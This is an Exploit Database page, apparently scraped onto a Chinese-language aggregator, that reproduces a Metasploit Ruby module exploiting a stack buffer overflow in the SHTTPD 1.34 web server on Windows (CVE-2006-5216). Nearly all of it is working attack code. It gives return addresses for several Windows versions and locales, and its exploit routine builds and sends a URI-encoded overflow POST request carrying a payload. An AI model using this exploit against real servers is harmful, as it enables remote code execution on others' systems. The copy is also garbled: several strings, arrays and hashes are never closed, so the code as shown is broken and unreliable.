SHTTPD 1.34 (Windows x86) – URI-Encoded POST Request Overflow (Metasploit)

Exploit Database
106 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows_x86
来源：https://www.exploit-db.com/exploits/16759/

# $Id: shttpd_post.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',

'Description'=> %q{

This module exploits a stack buffer overflow in SHTTPD <= 1.34.

The vulnerability is caused due to a boundary error within the

handling of POST requests. Based on an original exploit by skOd

but using a different method found by hdm.

'Author' => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2006-5216'],

[ 'OSVDB', '29565' ],

[ 'URL', 'http://shttpd.sourceforge.net'],

[ 'BID', '20393'],

'Privileged' => false,

'Payload'=>

{

'BadChars' => "\x00",

'Platform' => 'win',

'Targets'=>

[

# Except for Spanish locale target, all come from:

# http://metasploit.com/users/opcode/msfopcode.cgi

[ 'Windows NT English SP5-SP6', { 'Ret' => 0x776a183a } ],

[ 'Windows 2000 Spanish SP4', { 'Ret' => 0x79496391 } ],

[ 'Windows 2000 French SP4', { 'Ret' => 0x74fb108d } ],

[ 'Windows 2000 English SP0-SP4', { 'Ret' => 0x75021421 } ],

[ 'Windows 2000 French SP0-SP4', { 'Ret' => 0x74fa3144 } ],

[ 'Windows 2003 Server English SP0-SP1', { 'Ret' => 0x77d877d3 } ],

[ 'Windows XP German SP2', { 'Ret' => 0x71a02975 } ],

[ 'Windows XP German SP1', { 'Ret' => 0x71a02a6a } ],

[ 'Windows XP English SP2', { 'Ret' => 0x71aa1e08 } ],

[ 'Windows XP English SP0-SP1', { 'Ret' => 0x71aa1aaa } ],

'DisclosureDate' => 'Oct 6 2006'))

register_options(

[

Opt::RPORT(80)

], self.class )

end

def exploit

connect

pat = rand_text_alphanumeric(4000)

pat[8,4] = [target.ret].pack('V')

pat[103, payload.encoded.length] = payload.encoded

pat = Rex::Text.uri_encode(pat)

res = "post /#{pat} HTTP/1.0\r\n\r\n"

print_status("Trying target address 0x%.8x..." % target.ret)

sock.put(res)

sock.close

handler

disconnect

end